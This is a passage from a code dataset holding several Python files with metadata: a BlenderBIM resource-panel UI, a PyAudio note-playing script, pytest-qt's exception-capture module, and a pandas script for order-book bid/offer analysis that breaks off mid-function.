"django.conf.settings.REDSHIFT_USE_MATCH_START_AS_GAME_DATE", "line_number": 722, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 722, "usage_type": "name"}, {"api_name": "django.utils.timezone.now", "line_number": 725, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 725, "usage_type": "name"}]} {"seq_id": "23923027323", "text": "import blenderbim.bim.helper\nfrom bpy.types import Panel, UIList\nfrom blenderbim.bim.ifc import IfcStore\nfrom blenderbim.bim.module.resource.data import ResourceData\n\n\nclass BIM_PT_resources(Panel):\n bl_label = \"Resources\"\n bl_idname = \"BIM_PT_resources\"\n bl_space_type = \"PROPERTIES\"\n bl_region_type = \"WINDOW\"\n bl_context = \"scene\"\n bl_parent_id = \"BIM_PT_tab_resources\"\n bl_options = {\"HIDE_HEADER\"}\n\n @classmethod\n def poll(cls, context):\n file = IfcStore.get_file()\n return file and hasattr(file, \"schema\") and file.schema != \"IFC2X3\"\n\n def draw(self, context):\n self.props = context.scene.BIMResourceProperties\n self.tprops = context.scene.BIMResourceTreeProperties\n if not ResourceData.is_loaded:\n ResourceData.load()\n\n row = self.layout.row(align=True)\n if ResourceData.data[\"total_resources\"]:\n row.label(text=f\"{ResourceData.data['total_resources']} Resources Found\", icon=\"TEXT\")\n else:\n row.label(text=\"No Resources found.\", icon=\"COMMUNITY\")\n if self.props.is_editing:\n row.operator(\"bim.disable_resource_editing_ui\", text=\"\", icon=\"CANCEL\")\n else:\n row.operator(\"bim.load_resources\", text=\"\", icon=\"GREASEPENCIL\")\n row.operator(\"import_resources.bim\", text=\"\", icon=\"IMPORT\")\n if not self.props.is_editing:\n return\n\n self.draw_resource_operators()\n\n self.layout.template_list(\n \"BIM_UL_resources\",\n \"\",\n self.tprops,\n \"resources\",\n self.props,\n \"active_resource_index\",\n )\n\n if self.props.active_resource_id:\n if self.props.editing_resource_type == \"ATTRIBUTES\":\n self.draw_editable_resource_attributes_ui()\n elif self.props.active_resource_id and self.props.editing_resource_type == \"QUANTITY\":\n self.draw_editable_resource_quantity_ui()\n elif self.props.active_resource_id and self.props.editing_resource_type == \"COSTS\":\n self.draw_editable_resource_costs_ui()\n elif self.props.active_resource_id and self.props.editing_resource_type == \"USAGE\":\n self.draw_editable_resource_time_attributes_ui()\n self.draw_productivity_ui(context)\n\n def draw_productivity_ui(self, context):\n row = self.layout.row(align=True)\n row.alignment = \"RIGHT\"\n row.prop(self.props, \"should_show_resource_tools\", text=\"Resource Tools\", icon=\"RECOVER_LAST\")\n if self.props.should_show_resource_tools:\n total_resources = len(self.tprops.resources)\n if not total_resources or self.props.active_resource_index >= total_resources:\n return\n\n ifc_definition_id = self.tprops.resources[self.props.active_resource_index].ifc_definition_id\n resource = ResourceData.data[\"resources\"][ifc_definition_id]\n\n if not resource[\"type\"] in [\"IfcConstructionEquipmentResource\", \"IfcLaborResource\"]:\n row = self.layout.row(align=True)\n row.label(text=\"Resource type cannot have productivity data\", icon=\"ERROR\")\n else:\n is_usage_locked = False\n is_work_locked = False\n for constraint in resource[\"Benchmarks\"] or []:\n for metric in constraint[\"metrics\"] or []:\n if (\n metric[\"ConstraintGrade\"] == \"HARD\"\n and metric[\"reference\"]\n and metric[\"reference\"] == \"Usage.ScheduleUsage\"\n ):\n is_usage_locked = True\n elif (\n metric[\"ConstraintGrade\"] == \"HARD\"\n and metric[\"reference\"]\n and metric[\"reference\"] == \"Usage.ScheduleWork\"\n ):\n is_work_locked = True\n grid = self.layout.grid_flow(columns=3, even_columns=False, even_rows=False, align=False)\n\n col1 = grid.column(align=True)\n col2 = grid.column(align=False)\n col3 = grid.column(align=True)\n col1.ui_units_x = 1\n col2.ui_units_x = 1\n col3.ui_units_x = 2\n\n row1_col1 = col1.row()\n row1_col1.label(text=\"Schedule Work\")\n row1col2 = col2.row()\n schedule_work = resource.get(\"ScheduleWork\", None)\n derived_schedule_work = resource.get(\"DerivedScheduleWork\", None)\n row1col2.label(\n text=\"{}\".format(schedule_work) if schedule_work else \"{} h*\".format(derived_schedule_work),\n icon=\"TIME\",\n )\n\n row1col3 = col3.row()\n row1col3.operator(\"bim.calculate_resource_work\", text=\"\", icon=\"TEMP\").resource = ifc_definition_id\n op = row1col3.operator(\n \"bim.add_usage_constraint\" if not is_work_locked else \"bim.remove_usage_constraint\",\n text=\"\",\n icon=\"LOCKED\" if is_work_locked else \"UNLOCKED\",\n )\n op.resource = ifc_definition_id\n op.attribute = \"Usage.ScheduleWork\"\n row2_col1 = col1.row()\n row2_col1.label(text=\"Schedule Usage\")\n row2col2 = col2.row()\n row2col2.prop(self.tprops.resources[self.props.active_resource_index], \"schedule_usage\", text=\"\")\n row2col3 = col3.row()\n row2col3.operator(\"bim.calculate_resource_usage\", text=\"\", icon=\"TEMP\")\n op = row2col3.operator(\n \"bim.add_usage_constraint\" if not is_usage_locked else \"bim.remove_usage_constraint\",\n text=\"\",\n icon=\"LOCKED\" if is_usage_locked else \"UNLOCKED\",\n )\n op.resource = ifc_definition_id\n op.attribute = \"Usage.ScheduleUsage\"\n\n productivity = resource[\"Productivity\"]\n parent_productivity = resource[\"InheritedProductivity\"]\n row = self.layout.row()\n if productivity:\n produtivitiy_rate_message = \"Current Productivity Rate: {} {} / {}\".format(\n productivity[\"QuantityProduced\"],\n productivity[\"QuantityProducedName\"],\n productivity[\"TimeConsumed\"],\n )\n row.alignment = \"LEFT\"\n row.label(text=produtivitiy_rate_message, icon=\"ARMATURE_DATA\")\n row.operator(\"bim.edit_productivity_data\", text=\"\", icon=\"GREASEPENCIL\")\n op = row.operator(\"bim.remove_pset\", text=\"\", icon=\"X\")\n op.pset_id = productivity[\"id\"]\n op.obj_type = \"Resource\"\n op.obj = \"\"\n\n elif parent_productivity:\n produtivitiy_rate_message = \"Inherited Productivity Rate: {} {} / {}*\".format(\n parent_productivity[\"QuantityProduced\"],\n parent_productivity[\"QuantityProducedName\"],\n parent_productivity[\"TimeConsumed\"],\n )\n row.alignment = \"LEFT\"\n row.label(text=\"{}\".format(produtivitiy_rate_message), icon=\"ARMATURE_DATA\")\n row.operator(\"bim.add_productivity_data\", text=\"\", icon=\"ADD\")\n else:\n row = self.layout.row(align=True)\n row.alignment = \"LEFT\"\n produtivitiy_rate_message = \"No productivity data found\"\n row.label(text=\"{}\".format(produtivitiy_rate_message), icon=\"ARMATURE_DATA\")\n row.operator(\"bim.add_productivity_data\", text=\"\", icon=\"ADD\")\n\n def draw_resource_operators(self):\n row = self.layout.row(align=True)\n op = row.operator(\"bim.add_resource\", text=\"Add SubContract\", icon=\"TEXT\")\n op.ifc_class = \"IfcSubContractResource\"\n op.parent_resource = 0\n op = row.operator(\"bim.add_resource\", text=\"Add Crew\", icon=\"COMMUNITY\")\n op.ifc_class = \"IfcCrewResource\"\n op.parent_resource = 0\n\n total_resources = len(self.tprops.resources)\n if not total_resources or self.props.active_resource_index >= total_resources:\n return\n\n ifc_definition_id = self.tprops.resources[self.props.active_resource_index].ifc_definition_id\n resource = ResourceData.data[\"resources\"][ifc_definition_id]\n\n if resource[\"type\"] != \"IfcSubContractResource\":\n icon_map = {\n \"IfcSubContractResource\": \"TEXT\",\n \"IfcConstructionEquipmentResource\": \"TOOL_SETTINGS\",\n \"IfcLaborResource\": \"OUTLINER_OB_ARMATURE\",\n \"IfcConstructionMaterialResource\": \"MATERIAL\",\n \"IfcConstructionProductResource\": \"PACKAGE\",\n }\n row = self.layout.row(align=True)\n for ifc_class, icon in icon_map.items():\n label = ifc_class.replace(\"Ifc\", \"\").replace(\"Construction\", \"\").replace(\"Resource\", \"\")\n op = row.operator(\"bim.add_resource\", text=label, icon=icon)\n op.parent_resource = ifc_definition_id\n op.ifc_class = ifc_class\n\n row = self.layout.row(align=True)\n row.alignment = \"RIGHT\"\n\n if not self.props.active_resource_id:\n if resource[\"type\"] in [\"IfcLaborResource\", \"IfcConstructionEquipmentResource\"]:\n row.operator(\"bim.enable_editing_resource_time\", text=\"\", icon=\"TIME\").resource = ifc_definition_id\n op = row.operator(\"bim.enable_editing_resource_base_quantity\", text=\"\", icon=\"PROPERTIES\")\n op.resource = ifc_definition_id\n op = row.operator(\"bim.enable_editing_resource_costs\", text=\"\", icon=\"DISC\")\n op.resource = ifc_definition_id\n row.operator(\"bim.enable_editing_resource\", text=\"\", icon=\"GREASEPENCIL\").resource = ifc_definition_id\n row.operator(\"bim.remove_resource\", text=\"\", icon=\"X\").resource = ifc_definition_id\n else:\n if self.props.editing_resource_type == \"ATTRIBUTES\":\n row.operator(\"bim.edit_resource\", text=\"\", icon=\"CHECKMARK\")\n elif self.props.editing_resource_type == \"USAGE\":\n row.operator(\"bim.edit_resource_time\", text=\"\", icon=\"CHECKMARK\")\n row.operator(\"bim.disable_editing_resource\", text=\"\", icon=\"CANCEL\")\n\n def draw_editable_resource_attributes_ui(self):\n blenderbim.bim.helper.draw_attributes(self.props.resource_attributes, self.layout)\n\n def draw_editable_resource_time_attributes_ui(self):\n blenderbim.bim.helper.draw_attributes(self.props.resource_time_attributes, self.layout)\n\n def draw_editable_resource_quantity_ui(self):\n resource = ResourceData.data[\"resources\"][self.props.active_resource_id]\n\n if resource[\"BaseQuantity\"]:\n quantity = resource[\"BaseQuantity\"]\n value = quantity[[k for k in quantity.keys() if \"Value\" in k][0]]\n row = self.layout.row(align=True)\n row.label(text=quantity[\"Name\"])\n row.label(text=\"{0:.2f}\".format(value))\n if self.props.is_editing_quantity:\n op = row.operator(\"bim.edit_resource_quantity\", text=\"\", icon=\"CHECKMARK\")\n op.physical_quantity = quantity[\"id\"]\n row.operator(\"bim.disable_editing_resource_quantity\", text=\"\", icon=\"CANCEL\")\n else:\n op = row.operator(\"bim.enable_editing_resource_quantity\", text=\"\", icon=\"GREASEPENCIL\")\n op.resource = self.props.active_resource_id\n op = row.operator(\"bim.remove_resource_quantity\", text=\"\", icon=\"X\")\n op.resource = self.props.active_resource_id\n\n if self.props.is_editing_quantity:\n box = self.layout.box()\n blenderbim.bim.helper.draw_attributes(self.props.quantity_attributes, box)\n else:\n row = self.layout.row(align=True)\n row.prop(self.props, \"quantity_types\", text=\"\")\n op = row.operator(\"bim.add_resource_quantity\", text=\"\", icon=\"ADD\")\n op.resource = self.props.active_resource_id\n op.ifc_class = self.props.quantity_types\n\n def draw_editable_resource_costs_ui(self):\n row = self.layout.row(align=True)\n row.prop(self.props, \"cost_types\", text=\"\")\n if self.props.cost_types == \"CATEGORY\":\n row.prop(self.props, \"cost_category\", text=\"\")\n op = row.operator(\"bim.add_cost_value\", text=\"\", icon=\"ADD\")\n op.parent = self.props.active_resource_id\n op.cost_type = self.props.cost_types\n if self.props.cost_types == \"CATEGORY\":\n op.cost_category = self.props.cost_category\n\n for cost_value in ResourceData.data[\"cost_values\"]:\n row = self.layout.row(align=True)\n self.draw_readonly_cost_value_ui(row, cost_value)\n\n if self.props.cost_value_editing_type == \"ATTRIBUTES\":\n blenderbim.bim.helper.draw_attributes(self.props.cost_value_attributes, self.layout.box())\n\n def draw_readonly_cost_value_ui(self, layout, cost_value):\n if self.props.active_cost_value_id == cost_value[\"id\"] and self.props.cost_value_editing_type == \"FORMULA\":\n layout.prop(self.props, \"cost_value_formula\", text=\"\")\n else:\n layout.label(text=cost_value[\"label\"], icon=\"DISC\")\n\n self.draw_cost_value_operator_ui(layout, cost_value[\"id\"], self.props.active_resource_id)\n\n def draw_cost_value_operator_ui(self, layout, cost_value_id, parent_id):\n if self.props.active_cost_value_id and self.props.active_cost_value_id == cost_value_id:\n if self.props.cost_value_editing_type == \"ATTRIBUTES\":\n op = layout.operator(\"bim.edit_resource_cost_value\", text=\"\", icon=\"CHECKMARK\")\n op.cost_value = cost_value_id\n elif self.props.cost_value_editing_type == \"FORMULA\":\n op = layout.operator(\"bim.edit_resource_cost_value_formula\", text=\"\", icon=\"CHECKMARK\")\n op.cost_value = cost_value_id\n layout.operator(\"bim.disable_editing_resource_cost_value\", text=\"\", icon=\"CANCEL\")\n elif self.props.active_cost_value_id:\n op = layout.operator(\"bim.remove_cost_value\", text=\"\", icon=\"X\")\n op.parent = parent_id\n op.cost_value = cost_value_id\n else:\n op = layout.operator(\"bim.enable_editing_resource_cost_value_formula\", text=\"\", icon=\"CON_TRANSLIKE\")\n op.cost_value = cost_value_id\n op = layout.operator(\"bim.enable_editing_resource_cost_value\", text=\"\", icon=\"GREASEPENCIL\")\n op.cost_value = cost_value_id\n op = layout.operator(\"bim.remove_cost_value\", text=\"\", icon=\"X\")\n op.parent = parent_id\n op.cost_value = cost_value_id\n\n def draw_duration_property(self, duration_props, layout):\n for duration_prop in duration_props:\n if duration_prop.name == \"BaseQuantityConsumed\":\n layout.prop(duration_prop, \"years\", text=\"Y\")\n layout.prop(duration_prop, \"months\", text=\"M\")\n layout.prop(duration_prop, \"days\", text=\"D\")\n layout.prop(duration_prop, \"hours\", text=\"H\")\n layout.prop(duration_prop, \"minutes\", text=\"Min\")\n layout.prop(duration_prop, \"seconds\", text=\"S\")\n\n\nclass BIM_UL_resources(UIList):\n def draw_item(self, context, layout, data, item, icon, active_data, active_propname):\n icon_map = {\n \"IfcSubContractResource\": \"TEXT\",\n \"IfcCrewResource\": \"COMMUNITY\",\n \"IfcConstructionEquipmentResource\": \"TOOL_SETTINGS\",\n \"IfcLaborResource\": \"OUTLINER_OB_ARMATURE\",\n \"IfcConstructionMaterialResource\": \"MATERIAL\",\n \"IfcConstructionProductResource\": \"PACKAGE\",\n }\n if item:\n resource = ResourceData.data[\"resources\"][item.ifc_definition_id]\n props = context.scene.BIMResourceProperties\n row = layout.row(align=True)\n for i in range(0, item.level_index):\n row.label(text=\"\", icon=\"BLANK1\")\n if item.has_children:\n if item.is_expanded:\n row.operator(\n \"bim.contract_resource\", text=\"\", emboss=False, icon=\"DISCLOSURE_TRI_DOWN\"\n ).resource = item.ifc_definition_id\n else:\n row.operator(\n \"bim.expand_resource\", text=\"\", emboss=False, icon=\"DISCLOSURE_TRI_RIGHT\"\n ).resource = item.ifc_definition_id\n else:\n row.label(text=\"\", icon=\"DOT\")\n row.prop(item, \"name\", emboss=False, text=\"\", icon=icon_map[resource[\"type\"]])\n row.prop(item, \"schedule_usage\", text=\"\", emboss=False) if item.schedule_usage else None\n if context.active_object and not props.active_resource_id:\n row = layout.row(align=True)\n if item.ifc_definition_id in ResourceData.data[\"active_resource_ids\"]:\n op = row.operator(\"bim.unassign_resource\", text=\"\", icon=\"KEYFRAME_HLT\", emboss=False)\n op.resource = item.ifc_definition_id\n else:\n op = row.operator(\"bim.assign_resource\", text=\"\", icon=\"KEYFRAME\", emboss=False)\n op.resource = item.ifc_definition_id\n\n if props.active_resource_id == item.ifc_definition_id:\n if props.editing_resource_type == \"ATTRIBUTES\":\n row.operator(\"bim.edit_resource\", text=\"\", icon=\"CHECKMARK\")\n elif props.editing_resource_type == \"USAGE\":\n row.operator(\"bim.edit_resource_time\", text=\"\", icon=\"CHECKMARK\")\n row.operator(\"bim.disable_editing_resource\", text=\"\", icon=\"CANCEL\")\n\n\ndef draw_productivity_ui(self, context):\n def draw_duration_property(duration_props, layout):\n for duration_prop in duration_props:\n if duration_prop.name == \"BaseQuantityConsumed\":\n layout.prop(duration_prop, \"years\", text=\"Y\")\n layout.prop(duration_prop, \"months\", text=\"M\")\n layout.prop(duration_prop, \"days\", text=\"D\")\n layout.prop(duration_prop, \"hours\", text=\"H\")\n layout.prop(duration_prop, \"minutes\", text=\"Min\")\n layout.prop(duration_prop, \"seconds\", text=\"S\")\n\n productivity_props = context.scene.BIMResourceProductivity\n grid = self.layout.grid_flow(columns=2, even_columns=False, even_rows=False, align=False)\n col1 = grid.column(align=False)\n col2 = grid.column(align=False)\n row1_col1 = col1.row()\n row1_col1.label(text=\"Quantity\")\n row1_col2 = col2.row()\n row1_col2.prop(productivity_props, \"quantity_produced\", text=\"\")\n row1_col2.prop(productivity_props, \"quantity_produced_name\", text=\"\")\n row2_col1 = col1.row()\n row2_col1.label(text=\"Time\")\n row2_col2 = col2.row()\n draw_duration_property(productivity_props.quantity_consumed, row2_col2)\n", "repo_name": "IfcOpenShell/IfcOpenShell", "sub_path": "src/blenderbim/blenderbim/bim/module/resource/ui.py", "file_name": "ui.py", "file_ext": "py", "file_size_in_byte": 19426, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1412, "dataset": "github-code", "pt": "71", "api": [{"api_name": "bpy.types.Panel", "line_number": 7, "usage_type": "name"}, {"api_name": "blenderbim.bim.ifc.IfcStore.get_file", "line_number": 18, "usage_type": "call"}, {"api_name": "blenderbim.bim.ifc.IfcStore", "line_number": 18, "usage_type": "name"}, {"api_name": "blenderbim.bim.module.resource.data.ResourceData.is_loaded", "line_number": 24, "usage_type": "attribute"}, {"api_name": "blenderbim.bim.module.resource.data.ResourceData", "line_number": 24, "usage_type": "name"}, {"api_name": "blenderbim.bim.module.resource.data.ResourceData.load", "line_number": 25, "usage_type": "call"}, {"api_name": "blenderbim.bim.module.resource.data.ResourceData", "line_number": 25, "usage_type": "name"}, {"api_name": "blenderbim.bim.module.resource.data.ResourceData.data", "line_number": 28, "usage_type": "attribute"}, {"api_name": "blenderbim.bim.module.resource.data.ResourceData", "line_number": 28, "usage_type": "name"}, {"api_name": "blenderbim.bim.module.resource.data.ResourceData.data", "line_number": 29, "usage_type": "attribute"}, {"api_name": "blenderbim.bim.module.resource.data.ResourceData", "line_number": 29, "usage_type": "name"}, {"api_name": "blenderbim.bim.module.resource.data.ResourceData.data", "line_number": 72, "usage_type": "attribute"}, {"api_name": "blenderbim.bim.module.resource.data.ResourceData", "line_number": 72, "usage_type": "name"}, {"api_name": "blenderbim.bim.module.resource.data.ResourceData.data", "line_number": 183, "usage_type": "attribute"}, {"api_name": "blenderbim.bim.module.resource.data.ResourceData", "line_number": 183, "usage_type": "name"}, {"api_name": "blenderbim.bim.helper.bim.helper.draw_attributes", "line_number": 220, "usage_type": "call"}, {"api_name": "blenderbim.bim.helper.bim", "line_number": 220, "usage_type": "attribute"}, {"api_name": "blenderbim.bim.helper", "line_number": 220, "usage_type": "name"}, {"api_name": "blenderbim.bim.helper.bim.helper.draw_attributes", "line_number": 223, "usage_type": "call"}, {"api_name": "blenderbim.bim.helper.bim", "line_number": 223, "usage_type": "attribute"}, {"api_name": "blenderbim.bim.helper", "line_number": 223, "usage_type": "name"}, {"api_name": "blenderbim.bim.module.resource.data.ResourceData.data", "line_number": 226, "usage_type": "attribute"}, {"api_name": "blenderbim.bim.module.resource.data.ResourceData", "line_number": 226, "usage_type": "name"}, {"api_name": "blenderbim.bim.helper.bim.helper.draw_attributes", "line_number": 246, "usage_type": "call"}, {"api_name": "blenderbim.bim.helper.bim", "line_number": 246, "usage_type": "attribute"}, {"api_name": "blenderbim.bim.helper", "line_number": 246, "usage_type": "name"}, {"api_name": "blenderbim.bim.module.resource.data.ResourceData.data", "line_number": 265, "usage_type": "attribute"}, {"api_name": "blenderbim.bim.module.resource.data.ResourceData", "line_number": 265, "usage_type": "name"}, {"api_name": "blenderbim.bim.helper.bim.helper.draw_attributes", "line_number": 270, "usage_type": "call"}, {"api_name": "blenderbim.bim.helper.bim", "line_number": 270, "usage_type": "attribute"}, {"api_name": "blenderbim.bim.helper", "line_number": 270, "usage_type": "name"}, {"api_name": "bpy.types.UIList", "line_number": 313, "usage_type": "name"}, {"api_name": "blenderbim.bim.module.resource.data.ResourceData.data", "line_number": 324, "usage_type": "attribute"}, {"api_name": "blenderbim.bim.module.resource.data.ResourceData", "line_number": 324, "usage_type": "name"}, {"api_name": "blenderbim.bim.module.resource.data.ResourceData.data", "line_number": 344, "usage_type": "attribute"}, {"api_name": "blenderbim.bim.module.resource.data.ResourceData", "line_number": 344, "usage_type": "name"}]} {"seq_id": "39390309335", "text": "import math\nfrom pyaudio import PyAudio\n\nBITRATE = 8000 #number of frames per second\n\nFREQUENCIES = {\n \"C4\": 261.63, #C4 in Hz\n \"C#4\": 277.18, #C sharp\n \"D4\":\t293.66,\n \"D#4\": \t311.13,\n \"E4\":\t329.63,\n \"F4\":\t349.23,\n \"F#4\":\t369.99,\n \"G4\":\t392.00,\n \"G#4\":\t415.30,\n \"A4\":\t440.00,\n \"A#4\": \t466.16,\n \"B4\":\t493.88,\n \"C5\":\t523.25,\n \"C#5\": \t554.37,\n \"D5\":\t587.33,\n \"D#5\": \t622.25,\n \"E5\":\t659.25,\n \"F5\":\t698.46,\n \"F#5\": \t739.99,\n \"G5\":\t783.99,\n \"G#5\": \t830.61,\n \"A5\": \t880.00,\n \"A#5\": 932.33,\n \"B5\": 987.77,\n \"B#5\": \t932.33,\n \"C6\": \t1046.50,\n \"D6\":\t1108.73,\n \"D#6\": \t1174.66,\n \"E6\":\t1318.51\n}\n\nLENGTH = 0.5 #seconds to play sound for each note\n\nMUSIC = [\"F#5\", \"E5\", \"D5\", \"C#5\", \"B4\", \"A4\", \"B4\", \"C#5\"] # cannon in D major\n\nNUMBEROFNOTES = len(MUSIC)\n\nNUMBEROFFRAMES = int(BITRATE * LENGTH) #frames per note\nWAVEDATA = ''\n\nfor y in range(NUMBEROFNOTES):\n FREQUENCY = FREQUENCIES[MUSIC[y]]\n print(MUSIC[y])\n #generating wawes\n for x in range(NUMBEROFFRAMES):\n WAVEDATA = WAVEDATA+chr(int(math.sin(x/((BITRATE/FREQUENCY)/math.pi))*127+128))\n print(WAVEDATA)\np = PyAudio()\nstream = p.open(format = p.get_format_from_width(1, unsigned=True), \n channels = 1, \n rate = BITRATE, \n output = True)\n\nstream.write(WAVEDATA)\nstream.stop_stream()\nstream.close()\np.terminate()\n", "repo_name": "snleo/py-music", "sub_path": "play.py", "file_name": "play.py", "file_ext": "py", "file_size_in_byte": 1427, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "math.sin", "line_number": 52, "usage_type": "call"}, {"api_name": "math.pi", "line_number": 52, "usage_type": "attribute"}, {"api_name": "pyaudio.PyAudio", "line_number": 54, "usage_type": "call"}]} {"seq_id": "74839456229", "text": "import functools\nimport sys\nimport traceback\nfrom contextlib import contextmanager\n\nimport pytest\nfrom pytestqt.utils import get_marker\n\n\n@contextmanager\ndef capture_exceptions():\n \"\"\"\n Context manager that captures exceptions that happen insides its context,\n and returns them as a list of (type, value, traceback) after the\n context ends.\n \"\"\"\n manager = _QtExceptionCaptureManager()\n manager.start()\n try:\n yield manager.exceptions\n finally:\n manager.finish()\n\n\ndef _except_hook(type_, value, tback, exceptions=None):\n \"\"\"Hook functions installed by _QtExceptionCaptureManager\"\"\"\n exceptions.append((type_, value, tback))\n sys.stderr.write(format_captured_exceptions([(type_, value, tback)]))\n\n\nclass _QtExceptionCaptureManager:\n \"\"\"\n Manages exception capture context.\n \"\"\"\n\n def __init__(self):\n self.old_hook = None\n self.exceptions = []\n\n def start(self):\n \"\"\"Start exception capturing by installing a hook into sys.excepthook\n that records exceptions received into ``self.exceptions``.\n \"\"\"\n self.old_hook = sys.excepthook\n sys.excepthook = functools.partial(_except_hook, exceptions=self.exceptions)\n\n def finish(self):\n \"\"\"Stop exception capturing, restoring the original hook.\n\n Can be called multiple times.\n \"\"\"\n if self.old_hook is not None:\n sys.excepthook = self.old_hook\n self.old_hook = None\n\n def fail_if_exceptions_occurred(self, when):\n \"\"\"calls pytest.fail() with an informative message if exceptions\n have been captured so far. Before pytest.fail() is called, also\n finish capturing.\n \"\"\"\n if self.exceptions:\n self.finish()\n exceptions = self.exceptions\n self.exceptions = []\n prefix = \"%s ERROR: \" % when\n msg = prefix + format_captured_exceptions(exceptions)\n del exceptions[:] # Don't keep exceptions alive longer.\n pytest.fail(msg, pytrace=False)\n\n\ndef format_captured_exceptions(exceptions):\n \"\"\"\n Formats exceptions given as (type, value, traceback) into a string\n suitable to display as a test failure.\n \"\"\"\n from io import StringIO\n\n stream = StringIO()\n stream.write(\"Exceptions caught in Qt event loop:\\n\")\n sep = \"_\" * 80 + \"\\n\"\n stream.write(sep)\n for exc_type, value, tback in exceptions:\n traceback.print_exception(exc_type, value, tback, file=stream)\n stream.write(sep)\n return stream.getvalue()\n\n\ndef _is_exception_capture_enabled(item):\n \"\"\"returns if exception capture is disabled for the given test item.\"\"\"\n disabled = get_marker(item, \"qt_no_exception_capture\") or item.config.getini(\n \"qt_no_exception_capture\"\n )\n return not disabled\n\n\nclass TimeoutError(Exception):\n \"\"\"\n .. versionadded:: 2.1\n\n Exception thrown by :class:`pytestqt.qtbot.QtBot` methods.\n\n Access via ``qtbot.TimeoutError``.\n \"\"\"\n\n\nclass ScreenshotError(Exception):\n \"\"\"\n .. versionadded:: 4.1\n\n Exception thrown by :meth:`pytestqt.qtbot.QtBot.screenshot` if taking the\n screenshot failed.\n\n .. versionchanged:: 4.2\n\n Access via ``qtbot.ScreenshotError``.\n \"\"\"\n", "repo_name": "pytest-dev/pytest-qt", "sub_path": "src/pytestqt/exceptions.py", "file_name": "exceptions.py", "file_ext": "py", "file_size_in_byte": 3265, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 366, "dataset": "github-code", "pt": "71", "api": [{"api_name": "contextlib.contextmanager", "line_number": 10, "usage_type": "name"}, {"api_name": "sys.stderr.write", "line_number": 28, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 28, "usage_type": "attribute"}, {"api_name": "sys.excepthook", "line_number": 44, "usage_type": "attribute"}, {"api_name": "sys.excepthook", "line_number": 45, "usage_type": "attribute"}, {"api_name": "functools.partial", "line_number": 45, "usage_type": "call"}, {"api_name": "sys.excepthook", "line_number": 53, "usage_type": "attribute"}, {"api_name": "pytest.fail", "line_number": 68, "usage_type": "call"}, {"api_name": "io.StringIO", "line_number": 78, "usage_type": "call"}, {"api_name": "traceback.print_exception", "line_number": 83, "usage_type": "call"}, {"api_name": "pytestqt.utils.get_marker", "line_number": 90, "usage_type": "call"}]} {"seq_id": "29996342536", "text": "from datetime import datetime, time, timedelta\nfrom dateutil.relativedelta import relativedelta\n\nimport pandas as pd\nimport os\nimport re\nimport pickle\nimport time\n\ndef calculate_best_side(row, side):\n \"\"\"\n Calculate best price and volume of specific side\n row (series): bid or offer series\n side (str): side to determine best price and volume\n\n return\n best_price (float): best price of specific side\n best_volume (float): best volume of specific side\n \"\"\"\n filter_row = row[ row != 0 ]\n if filter_row.empty:\n best_price = None\n best_volume = None\n else:\n if side.lower() == \"bid\":\n best_price = filter_row.index[-1]\n best_volume = filter_row[-1]\n elif side.lower() == \"offer\":\n best_price = filter_row.index[0]\n best_volume = filter_row[0]\n return best_price, best_volume\n\ndef calculate_best_side_list(df, side):\n \"\"\"\n Calculate list of best price and volume of specific side\n df (series): dataframe contained bid or offer at several time\n side (str): side to determine best price and volume\n\n return\n best_price_list (float): list of best price of specific side\n best_volume_list (float): list of best volume of specific side\n \"\"\"\n best_price_list = []\n best_volume_list = []\n df = drop_auction_hour_columns(df)\n for i in range(df.shape[0]):\n best_price, best_volume = calculate_best_side(df.iloc[i], side=side)\n best_price_list.append(float(best_price) if best_price else best_price)\n best_volume_list.append(best_volume)\n return best_price_list, best_volume_list\n\ndef filter_auction_hour_with_trade(df, trade_df):\n \"\"\"\n Filter out auction trade with trade data\n\n df (df): dataframe\n trade_df (df): dataframe with trade datas\n\n return (df): filtered dataframe\n \"\"\"\n # Use one more index to skip auction trade\n first_trade_after_break = trade_df[ trade_df.index.time > time(14, 0, 0) ].index[1]\n df = df[ \n ((df.index > trade_df.index[0]) & (df.index.time <= time(13, 0, 0))) |\n ((df.index >= first_trade_after_break) & (df.index <= trade_df.index[-2]))\n ]\n df = df[ df.index < trade_df[ trade_df.index.time <= time(16, 30, 0) ].index[-1] ]\n return df\n\ndef filter_auction_hour(df, over_filter_min=0):\n \"\"\"\n Filter out auction hour with fixed time\n\n df (df): dataframe\n over_filter_min (int): amount of minute to additionally filter out the time after and before auction hour\n\n return (df): dataframe without data in auction hour\n \"\"\"\n return df[ ((df.index.time >= time(10, 0 + over_filter_min, 0)) & (df.index.time <= time(12, 30 - over_filter_min, 0))) | \n ((df.index.time >= time(14, 30 + over_filter_min, 0)) & (df.index.time <= time(16, 30 - over_filter_min, 0)))]\n\ndef filter_trade_auction_hour(df):\n \"\"\"\n Filter out auction hour from trade dataframe\n\n df (df): trade dataframe\n\n return (df): trade dataframe without trading in auction hour\n \"\"\"\n df = df.iloc[1:-1] # filter ATO, ATC hour\n after_break_df = df[df.index.time >= time(14, 0, 0)]\n if not after_break_df.empty:\n df = df.drop(after_break_df.index[0], axis=0) # filter ATO after break\n return df\n\ndef filter_break_hour(df):\n \"\"\"\n Filter out break hour \n\n df (df): dataframe\n\n return (df): dataframe without data in break hour\n \"\"\"\n return df[ (df.index.time <= time(12, 30, 0)) |\n (df.index.time >= time(14, 30, 0)) ]\n\n\ndef fix_wrong_time(df):\n \"\"\"\n Fix wrong time data in bid offer file by changing wrong time to be lastest time plus 1 microsecond\n\n df (df): bid or offer dataframe\n\n return (df): fixed dataframe\n \"\"\"\n df = df.copy()\n new_time_list = [df.index[0]]\n for i in range(1, df.shape[0]):\n if df.index[i] < new_time_list[i-1]:\n new_time_list.append(new_time_list[i-1] + relativedelta(microseconds=1))\n else:\n new_time_list.append(df.index[i])\n df[\"Time\"] = new_time_list\n df = df.set_index(\"Time\")\n return df\n\ndef drop_auction_hour_columns(df):\n \"\"\"\n Drop columns that relate to auction hour \n\n df (df): bid or offere dataframe\n\n return (df): dropped dataframe`\n \"\"\"\n df = df.copy()\n if df.columns.isin([\"MARKET_BID\"]).any():\n df = df.drop([\"MARKET_BID\"], axis=1)\n if df.columns.isin([\"MARKET_OFFER\"]).any():\n df = df.drop([\"MARKET_OFFER\"], axis=1)\n return df\n\ndef 